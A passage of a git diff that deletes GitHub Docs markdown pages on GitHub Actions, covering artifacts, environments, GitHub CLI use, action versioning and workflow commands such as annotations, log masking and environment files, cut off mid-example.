%}homework_pre{% else %}homework{% endif %} - - shell: bash - run: | - value=`cat math-homework.txt` - expr $value \* 9 > math-homework.txt - - name: Upload math result for job 2 - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: {% ifversion artifacts-v3-deprecation %}homework_final{% else %}homework{% endif %} - path: math-homework.txt - - job_3: - name: Display results - needs: job_2 - runs-on: macOS-latest - steps: - - name: Download math result for job 2 - uses: {% data reusables.actions.action-download-artifact %} - with: - name: {% ifversion artifacts-v3-deprecation %}homework_final{% else %}homework{% endif %} - - name: Print the final result - shell: bash - run: | - value=`cat math-homework.txt` - echo The result is $value -``` - -The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see [AUTOTITLE](/actions/managing-workflow-runs/downloading-workflow-artifacts). - -{% data reusables.actions.artifacts.artifacts-from-deleted-workflow-runs %} - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-github-actions). - -{% endif %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-environments-for-deployment.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/using-environments-for-deployment.md deleted file mode 100644 index fe660134250d..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-environments-for-deployment.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Using environments for deployment -shortTitle: Environments -intro: Specify a deployment environment in your workflow. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/using-environments-for-jobs - - /actions/using-jobs/using-environments-for-deployment ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About environments - -{% data reusables.actions.about-environments %} - -Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. The job can access the environment's secrets only after the job is sent to a runner. - -When a workflow references an environment, the environment will appear in the repository's deployments. For more information about viewing current and previous deployments, see [AUTOTITLE](/actions/deployment/managing-your-deployments/viewing-deployment-history). - -## Using an environment in a workflow - -{% data reusables.actions.environment-example %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-github-cli-in-workflows.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/using-github-cli-in-workflows.md deleted file mode 100644 index 8210d92663cd..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-github-cli-in-workflows.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Using GitHub CLI in workflows -shortTitle: GitHub CLI in workflows -intro: 'You can script with {% data variables.product.prodname_cli %} in {% data variables.product.prodname_actions %} workflows.' -redirect_from: - - /actions/guides/using-github-cli-in-workflows - - /actions/advanced-guides/using-github-cli-in-workflows - - /actions/using-workflows/using-github-cli-in-workflows - - /actions/examples/using-the-github-cli-on-a-runner -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - CLI - - Workflows -type: how_to ---- - - -{% data reusables.cli.cli-learn-more %} - -{% data variables.product.prodname_cli %} is preinstalled on all {% data variables.product.prodname_dotcom %}-hosted runners. For each step that uses {% data variables.product.prodname_cli %}, you must set an environment variable called `GH_TOKEN` to a token with the required scopes. - -You can execute any {% data variables.product.prodname_cli %} command. For example, this workflow uses the `gh issue comment` subcommand to add a comment when an issue is opened. - -```yaml copy -name: Comment when opened -on: - issues: - types: - - opened -jobs: - comment: - runs-on: ubuntu-latest - steps: - - run: gh issue comment $ISSUE --body "Thank you for opening this issue!" - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - ISSUE: {% raw %}${{ github.event.issue.html_url }}{% endraw %} -``` - -You can also execute API calls through {% data variables.product.prodname_cli %}. For example, this workflow first uses the `gh api` subcommand to query the GraphQL API and parse the result. Then it stores the result in an environment variable that it can access in a later step. In the second step, it uses the `gh issue create` subcommand to create an issue containing the information from the first step. - -```yaml copy -name: Report remaining open issues -on: - schedule: - # Daily at 8:20 UTC - - cron: '20 8 * * *' -jobs: - track_pr: - runs-on: ubuntu-latest - steps: - - run: | - numOpenIssues="$(gh api graphql -F owner=$OWNER -F name=$REPO -f query=' - query($name: String!, $owner: String!) { - repository(owner: $owner, name: $name) { - issues(states:OPEN){ - totalCount - } - } - } - ' --jq '.data.repository.issues.totalCount')" - - echo 'NUM_OPEN_ISSUES='$numOpenIssues >> $GITHUB_ENV - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - OWNER: {% raw %}${{ github.repository_owner }}{% endraw %} - REPO: {% raw %}${{ github.event.repository.name }}{% endraw %} - - run: | - gh issue create --title "Issue report" --body "$NUM_OPEN_ISSUES issues remaining" --repo $GITHUB_REPOSITORY - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-jobs-in-a-workflow.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/using-jobs-in-a-workflow.md deleted file mode 100644 index 993a032faf76..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-jobs-in-a-workflow.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Using jobs in a workflow -shortTitle: Use jobs in a workflow -intro: Use workflows to run multiple jobs. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/using-jobs/using-jobs-in-a-workflow ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow %} - -## Setting an ID for a job - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-id %} - -## Setting a name for a job - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-name %} - -## Defining prerequisite jobs - -{% data reusables.actions.jobs.section-using-jobs-in-a-workflow-needs %} diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-pre-written-building-blocks-in-your-workflow.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/using-pre-written-building-blocks-in-your-workflow.md deleted file mode 100644 index 69b49a0ad9a8..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/using-pre-written-building-blocks-in-your-workflow.md +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: Using pre-written building blocks in your workflow -shortTitle: Find and customize actions -intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.' -redirect_from: - - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions - - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow - - /actions/getting-started-with-github-actions/using-actions-from-github-marketplace - - /actions/getting-started-with-github-actions/using-community-workflows-and-actions - - /actions/learn-github-actions/finding-and-customizing-actions - - /actions/writing-workflows/choosing-what-your-workflow-does/finding-and-customizing-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Fundamentals ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -You can use pre-written building blocks, called actions, in your workflow. An action is a pre-defined, reusable set of jobs or code that perform specific tasks within a workflow. - -Actions can be: - -* **Reusable:** actions can be used across different workflows and repositories, allowing you to avoid rewriting the same code. -* **Pre-written:** many actions are available in the {% data variables.product.prodname_marketplace %}, covering a wide range of tasks like checking out code, setting up environments, running tests, and deploying applications. -* **Configurable:** you can configure actions with inputs, outputs, and environment variables to tailor them to your specific needs. -* **Community-driven:** you can create your own actions and share them with others or use actions developed by the community. - -The actions you use in your workflow can be defined in: - -* The same repository as your workflow file{% ifversion ghec or ghes %} -* An internal repository within the same enterprise account that is configured to allow access to workflows{% endif %} -* Any public repository -* A published Docker container image on Docker Hub - -{% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %} - -{% data reusables.actions.enterprise-marketplace-actions %} - -{% data reusables.actions.actions-marketplace-ghecom %} - -{% ifversion fpt or ghec %} - -## Browsing Marketplace actions in the workflow editor - -You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community. - -1. In your repository, browse to the workflow file you want to edit. -1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="Edit file" %}. - ![Screenshot of a workflow file showing the header section. The pencil icon for editing files is highlighted with a dark orange outline.](/assets/images/help/repository/actions-edit-workflow-file.png) -1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="Creator verified by GitHub" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization. - ![Screenshot of a workflow in the file editor. The sidebar shows Marketplace actions. A "Creator verified by GitHub" badge is outlined in orange.](/assets/images/help/repository/actions-marketplace-sidebar.png) - -## Adding an action to your workflow - -You can add an action to your workflow by referencing the action in your workflow file. - -You can view the actions referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).” - -{% data reusables.actions.actions-redirects-workflows %} - -### Adding an action from {% data variables.product.prodname_marketplace %} - -An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file. - -1. Navigate to the action you want to use in your workflow. -1. Click to view the full marketplace listing for the action. -1. Under "Installation", click {% octicon "copy" aria-label="Copy to clipboard" %} to copy the workflow syntax. - ![Screenshot of the marketplace listing for an action. The "Copy to clipboard" icon for the action is highlighted with a dark orange outline.](/assets/images/help/repository/actions-sidebar-detailed-view.png) -1. Paste the syntax as a new step in your workflow. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idsteps). -1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see [AUTOTITLE](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action). - -{% data reusables.dependabot.version-updates-for-actions %} - -{% endif %} - -### Adding an action from the same repository - -If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file. - -{% data reusables.actions.workflows.section-referencing-an-action-from-the-same-repository %} - -The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions). - -### Adding an action from a different repository - -If an action is defined in a different repository than your workflow file, you can reference the action with the `{owner}/{repo}@{ref}` syntax in your workflow file. - -The action must be stored in a public repository{% ifversion ghec or ghes %} or an internal repository that is configured to allow access to workflows. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).{% else %}.{% endif %} - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - uses: {% data reusables.actions.action-setup-node %} -``` - -{% ifversion ghec or ghes %} -If {% ifversion ghec %}you're on {% data variables.enterprise.data_residency_site %}{% elsif ghes %}an enterprise owner has enabled access to actions on {% data variables.product.prodname_dotcom_the_website %}{% endif %}, you can use this syntax to reference actions either within your enterprise or on {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_actions %} will look for the action in your enterprise first, then fall back to {% data variables.product.prodname_dotcom_the_website %}. -{% endif %} - -### Referencing a container on Docker Hub - -If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow. - -```yaml -jobs: - my_first_job: - steps: - - name: My first step - uses: docker://alpine:3.8 -``` - -For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and [AUTOTITLE](/actions/creating-actions/creating-a-docker-container-action). - -### Security hardening for using actions in your workflows - -{% data reusables.actions.about-security-hardening-for-worklows %} - -## Using release management for your custom actions - -The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action. - -You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use. - -> [!NOTE] -> We recommend that you use a SHA value when using third-party actions. However, it's important to note {% data variables.product.prodname_dependabot %} will only create {% data variables.product.prodname_dependabot_alerts %} for vulnerable {% data variables.product.prodname_actions %} that use semantic versioning. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions) and [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - -### Using tags - -Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`: - -```yaml -steps: - - uses: actions/javascript-action@v1.0.1 -``` - -### Using SHAs - -If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However, this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. You must use a commit's full SHA value, and not an abbreviated value. {% data reusables.actions.actions-pin-commit-sha %} This example targets an action's SHA: - -```yaml -steps: - - uses: actions/javascript-action@a824008085750b8e136effc585c3cd6082bd575f -``` - -### Using branches - -Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`: - -```yaml -steps: - - uses: actions/javascript-action@main -``` - -For more information, see [AUTOTITLE](/actions/creating-actions/about-custom-actions#using-release-management-for-actions). - -## Using inputs and outputs with an action - -An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing. - -To see the inputs and outputs of an action, check the `action.yml` in the root directory of the repository. - -In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results. - -```yaml -name: "Example" -description: "Receives file and generates output" -inputs: - file-path: # id of input - description: "Path to test script" - required: true - default: "test-file.js" -outputs: - results-file: # id of output - description: "Path to results file" -``` - -## Next steps - -To continue learning about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions/essential-features-of-github-actions). diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/workflow-commands-for-github-actions.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/workflow-commands-for-github-actions.md deleted file mode 100644 index 470b100ee532..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/workflow-commands-for-github-actions.md +++ /dev/null @@ -1,957 +0,0 @@ ---- -title: Workflow commands for GitHub Actions -shortTitle: Workflow commands -intro: You can use workflow commands when running shell commands in a workflow or in an action's code. -defaultTool: bash -redirect_from: - - /articles/development-tools-for-github-actions - - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions - - /actions/automating-your-workflow-with-github-actions/development-tools-for-github-actions - - /actions/reference/development-tools-for-github-actions - - /actions/reference/logging-commands-for-github-actions - - /actions/reference/workflow-commands-for-github-actions - - /actions/learn-github-actions/workflow-commands-for-github-actions - - /actions/using-workflows/workflow-commands-for-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About workflow commands - -Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks. - -Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see [Environment files](#environment-files). - -### Example of a workflow command - -{% bash %} - -```bash copy -echo "::workflow-command parameter1={data},parameter2={data}::{command value}" -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -Write-Output "::workflow-command parameter1={data},parameter2={data}::{command value}" -``` - -{% endpowershell %} - -> [!NOTE] -> Workflow command and parameter names are case insensitive. - -> [!WARNING] -> If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands. - -## Using workflow commands to access toolkit functions - -The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. - -For example, instead of using code to create an error annotation, as below: - -```javascript copy -core.error('Missing semicolon', {file: 'app.js', startLine: 1}) -``` - -### Example: Creating an annotation for an error - -You can use the `error` command in your workflow to create the same error annotation: - -{% bash %} - -```yaml copy - - name: Create annotation for build error - run: echo "::error file=app.js,line=1::Missing semicolon" -``` - -{% endbash %} - -{% powershell %} - -```yaml copy - - name: Create annotation for build error - run: Write-Output "::error file=app.js,line=1::Missing semicolon" -``` - -{% endpowershell %} - -The following table shows which toolkit functions are available within a workflow: - -| Toolkit function | Equivalent workflow command | -| ----------------- | ------------- | -| `core.addPath` | Accessible using environment file `GITHUB_PATH` | -| `core.debug` | `debug` | -| `core.notice` | `notice` | -| `core.error` | `error` | -| `core.endGroup` | `endgroup` | -| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` | -| `core.getInput` | Accessible using environment variable `INPUT_{NAME}` | -| `core.getState` | Accessible using environment variable `STATE_{NAME}` | -| `core.isDebug` | Accessible using environment variable `RUNNER_DEBUG` | -| `core.summary` | Accessible using environment file `GITHUB_STEP_SUMMARY` | -| `core.saveState` | Accessible using environment file `GITHUB_STATE` | -| `core.setCommandEcho` | `echo` | -| `core.setFailed` | Used as a shortcut for `::error` and `exit 1` | -| `core.setOutput` | Accessible using environment file `GITHUB_OUTPUT` | -| `core.setSecret` | `add-mask` | -| `core.startGroup` | `group` | -| `core.warning` | `warning` | - -## Setting a debug message - -Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging). - -```text copy -::debug::{message} -``` - -### Example: Setting a debug message - -{% bash %} - -```bash copy -echo "::debug::Set the Octocat variable" -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -Write-Output "::debug::Set the Octocat variable" -``` - -{% endpowershell %} - -## Setting a notice message - -Creates a notice message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} - -```text copy -::notice file={name},line={line},endLine={endLine},title={title}::{message} -``` - -{% data reusables.actions.message-parameters %} - -### Example: Setting a notice message - -{% bash %} - -```bash copy -echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon" -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -Write-Output "::notice file=app.js,line=1,col=5,endColumn=7,title=YOUR-TITLE::Missing semicolon" -``` - -{% endpowershell %} - -## Setting a warning message - -Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} - -```text copy -::warning file={name},line={line},endLine={endLine},title={title}::{message} -``` - -{% data reusables.actions.message-parameters %} - -### Example: Setting a warning message - -{% bash %} - -```bash copy -echo "::warning file=app.js,line=1,col=5,endColumn=7,title=YOUR-TITLE::Missing semicolon" -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -Write-Output "::warning file=app.js,line=1,col=5,endColumn=7,title=YOUR-TITLE::Missing semicolon" -``` - -{% endpowershell %} - -## Setting an error message - -Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %} - -```text copy -::error file={name},line={line},endLine={endLine},title={title}::{message} -``` - -{% data reusables.actions.message-parameters %} - -### Example: Setting an error message - -{% bash %} - -```bash copy -echo "::error file=app.js,line=1,col=5,endColumn=7,title=YOUR-TITLE::Missing semicolon" -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -Write-Output "::error file=app.js,line=1,col=5,endColumn=7,title=YOUR-TITLE::Missing semicolon" -``` - -{% endpowershell %} - -## Grouping log lines - -Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log. - -```text copy -::group::{title} -::endgroup:: -``` - -### Example: Grouping log lines - -{% bash %} - -```yaml copy -jobs: - bash-example: - runs-on: ubuntu-latest - steps: - - name: Group of log lines - run: | - echo "::group::My title" - echo "Inside group" - echo "::endgroup::" -``` - -{% endbash %} - -{% powershell %} - -```yaml copy -jobs: - powershell-example: - runs-on: windows-latest - steps: - - name: Group of log lines - run: | - Write-Output "::group::My title" - Write-Output "Inside group" - Write-Output "::endgroup::" -``` - -{% endpowershell %} - -![Screenshot of the log for the workflow step. The second line, "My title", is an expanded group. The next line, "Inside group", is indented below.](/assets/images/help/actions/actions-log-group.png) - -## Masking a value in a log - -```text copy -::add-mask::{value} -``` - -Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`. When you mask a value, it is treated as a secret and will be redacted on the runner. For example, after you mask a value, you won't be able to set that value as an output. - -### Example: Masking a string - -When you print `"Mona The Octocat"` in the log, you'll see `"***"`. - -{% bash %} - -```bash copy -echo "::add-mask::Mona The Octocat" -``` - -{% endbash %} - -{% powershell %} - -```powershell copy -Write-Output "::add-mask::Mona The Octocat" -``` - -{% endpowershell %} - -> [!WARNING] -> Make sure you register the secret with 'add-mask' before outputting it in the build logs or using it in any other workflow commands. - -### Example: Masking an environment variable - -When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`. - -{% bash %} - -```yaml copy -jobs: - bash-example: - runs-on: ubuntu-latest - env: - MY_NAME: "Mona The Octocat" - steps: - - name: bash-version - run: echo "::add-mask::$MY_NAME" -``` - -{% endbash %} - -{% powershell %} - -```yaml copy -jobs: - powershell-example: - runs-on: windows-latest - env: - MY_NAME: "Mona The Octocat" - steps: - - name: powershell-version - run: Write-Output "::add-mask::$env:MY_NAME" -``` - -{% endpowershell %} - -### Example: Masking a generated output within a single job - -If you do not need to pass your secret from one job to another job, you can: -1. Generate the secret (without outputting it). -1. Mask it with `add-mask`. -1. Use `GITHUB_OUTPUT` to make the secret available to other steps within the job. - -{% bash %} - -```yaml copy -on: push -jobs: - generate-a-secret-output: - runs-on: ubuntu-latest - steps: - - id: sets-a-secret - name: Generate, mask, and output a secret - run: | - the_secret=$((RANDOM)) - echo "::add-mask::$the_secret" - echo "secret-number=$the_secret" >> "$GITHUB_OUTPUT" - - name: Use that secret output (protected by a mask) - run: |{% raw %} - echo "the secret number is ${{ steps.sets-a-secret.outputs.secret-number }}"{% endraw %} -``` - -{% endbash %} - -{% powershell %} - -```yaml copy -on: push -jobs: - generate-a-secret-output: - runs-on: ubuntu-latest - steps: - - id: sets-a-secret - name: Generate, mask, and output a secret - shell: pwsh - run: | - Set-Variable -Name TheSecret -Value (Get-Random) - Write-Output "::add-mask::$TheSecret" - "secret-number=$TheSecret" >> $env:GITHUB_OUTPUT - - name: Use that secret output (protected by a mask) - shell: pwsh - run: |{% raw %} - Write-Output "the secret number is ${{ steps.sets-a-secret.outputs.secret-number }}"{% endraw %} -``` - -{% endpowershell %} - -### Example: Masking and passing a secret between jobs or workflows - -If you want to pass a masked secret between jobs or workflows, you should store the secret in a store and then retrieve it in the subsequent job or workflow. - -#### Setup - -1. Set up a secret store to store the secret that you will generate during your workflow. For example, Vault. -1. Generate a key for reading and writing to that secret store. Store the key as a repository secret. In the following example workflow, the secret name is `SECRET_STORE_CREDENTIALS`. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -#### Workflow - -> [!NOTE] -> This workflow uses an imaginary secret store, `secret-store`, which has imaginary commands `store-secret` and `retrieve-secret`. `some/secret-store@ 27b31702a0e7fc50959f5ad993c78deac1bdfc29` is an imaginary action that installs the `secret-store` application and configures it to connect to an `instance` with `credentials`. - -{% bash %} - -```yaml copy -on: push - -jobs: - secret-generator: - runs-on: ubuntu-latest - outputs: - handle: {% raw %}${{ steps.generate-secret.outputs.handle }}{% endraw %} - steps: - - uses: some/secret-store@27b31702a0e7fc50959f5ad993c78deac1bdfc29 - with:{% raw %} - credentials: ${{ secrets.SECRET_STORE_CREDENTIALS }} - instance: ${{ secrets.SECRET_STORE_INSTANCE }}{% endraw %} - - name: generate secret - id: generate-secret - shell: bash - run: | - GENERATED_SECRET=$((RANDOM)) - echo "::add-mask::$GENERATED_SECRET" - SECRET_HANDLE=$(secret-store store-secret "$GENERATED_SECRET") - echo "handle=$SECRET_HANDLE" >> "$GITHUB_OUTPUT" - secret-consumer: - runs-on: macos-latest - needs: secret-generator - steps: - - uses: some/secret-store@27b31702a0e7fc50959f5ad993c78deac1bdfc29 - with:{% raw %} - credentials: ${{ secrets.SECRET_STORE_CREDENTIALS }} - instance: ${{ secrets.SECRET_STORE_INSTANCE }}{% endraw %} - - name: use secret - shell: bash - run: |{% raw %} - SECRET_HANDLE="${{ needs.secret-generator.outputs.handle }}"{% endraw %} - RETRIEVED_SECRET=$(secret-store retrieve-secret "$SECRET_HANDLE") - echo "::add-mask::$RETRIEVED_SECRET" - echo "We retrieved our masked secret: $RETRIEVED_SECRET" -``` - -{% endbash %} - -{% powershell %} - -```yaml copy -on: push - -jobs: - secret-generator: - runs-on: ubuntu-latest - steps: - - uses: some/secret-store@27b31702a0e7fc50959f5ad993c78deac1bdfc29 - with:{% raw %} - credentials: ${{ secrets.SECRET_STORE_CREDENTIALS }} - instance: ${{ secrets.SECRET_STORE_INSTANCE }}{% endraw %} - - name: generate secret - shell: pwsh - run: | - Set-Variable -Name Generated_Secret -Value (Get-Random) - Write-Output "::add-mask::$Generated_Secret" - Set-Variable -Name Secret_Handle -Value (Store-Secret "$Generated_Secret") - "handle=$Secret_Handle" >> $env:GITHUB_OUTPUT - secret-consumer: - runs-on: macos-latest - needs: secret-generator - steps: - - uses: some/secret-store@27b31702a0e7fc50959f5ad993c78deac1bdfc29 - with:{% raw %} - credentials: ${{ secrets.SECRET_STORE_CREDENTIALS }} - instance: ${{ secrets.SECRET_STORE_INSTANCE }}{% endraw %} - - name: use secret - shell: pwsh - run: |{% raw %} - Set-Variable -Name Secret_Handle -Value "${{ needs.secret-generator.outputs.handle }}"{% endraw %} - Set-Variable -Name Retrieved_Secret -Value (Retrieve-Secret "$Secret_Handle") - echo "::add-mask::$Retrieved_Secret" - echo "We retrieved our masked secret: $Retrieved_Secret" -``` - -{% endpowershell %} - -## Stopping and starting workflow commands - -Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments. - -```text copy -::stop-commands::{endtoken} -``` - -To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands. - -> [!WARNING] -> Make sure the token you're using is randomly generated and unique for each run. - -```text copy -::{endtoken}:: -``` - -### Example: Stopping and starting workflow commands - -{% bash %} - -```yaml copy -jobs: - workflow-command-job: - runs-on: ubuntu-latest - steps: - - name: Disable workflow commands - run: | - echo '::warning:: This is a warning message, to demonstrate that commands are being processed.' - stopMarker=$(uuidgen) - echo "::stop-commands::$stopMarker" - echo '::warning:: This will NOT be rendered as a warning, because stop-commands has been invoked.' - echo "::$stopMarker::" - echo '::warning:: This is a warning again, because stop-commands has been turned off.' -``` - -{% endbash %} - -{% powershell %} - -```yaml copy -jobs: - workflow-command-job: - runs-on: windows-latest - steps: - - name: Disable workflow commands - run: | - Write-Output '::warning:: This is a warning message, to demonstrate that commands are being processed.' - $stopMarker = New-Guid - Write-Output "::stop-commands::$stopMarker" - Write-Output '::warning:: This will NOT be rendered as a warning, because stop-commands has been invoked.' - Write-Output "::$stopMarker::" - Write-Output '::warning:: This is a warning again, because stop-commands has been turned off.' -``` - -{% endpowershell %} - -## Sending values to the pre and post actions - -You can create environment variables for sharing with your workflow's `pre:` or `post:` actions by writing to the file located at `GITHUB_STATE`. For example, you can create a file with the `pre:` action, pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file. - -If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where it was written to `GITHUB_STATE`. For more information on the `post:` action, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#runspost). - -The `GITHUB_STATE` file is only available within an action. The saved value is stored as an environment value with the `STATE_` prefix. - -This example uses JavaScript to write to the `GITHUB_STATE` file. The resulting environment variable is named `STATE_processID` with the value of `12345`: - -```javascript copy -import * as fs from 'fs' -import * as os from 'os' - -fs.appendFileSync(process.env.GITHUB_STATE, `processID=12345${os.EOL}`, { - encoding: 'utf8' -}) -``` - -The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable: - -```javascript copy -console.log("The running PID from the main action is: " + process.env.STATE_processID); -``` - -## Environment files - -During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files can be accessed and edited using GitHub's default environment variables. See [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables). You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines. -To use environment variables in a GitHub Action, you create or modify `.env` files using specific GitHub Actions commands. - -Here's how: - -```yaml copy -name: Example Workflow for Environment Files - -on: push - -jobs: - set_and_use_env_vars: - runs-on: ubuntu-latest - steps: - - name: Set environment variable - run: echo "MY_ENV_VAR=myValue" >> $GITHUB_ENV - - - name: Use environment variable - run: | - echo "The value of MY_ENV_VAR is $MY_ENV_VAR" - -``` - -Another example would be to use it to store metadata like build timestamps, commit SHAs, or artifact names: - -```yaml copy -steps: - - name: Store build timestamp - run: echo "BUILD_TIME=$(date +'%T')" >> $GITHUB_ENV - - - name: Deploy using stored timestamp - run: echo "Deploying at $BUILD_TIME" -``` - -{% powershell %} - -> [!NOTE] -> PowerShell versions 5.1 and below (`shell: powershell`) do not use UTF-8 by default, so you must specify the UTF-8 encoding. For example: -> -> ```yaml copy -> jobs: -> legacy-powershell-example: 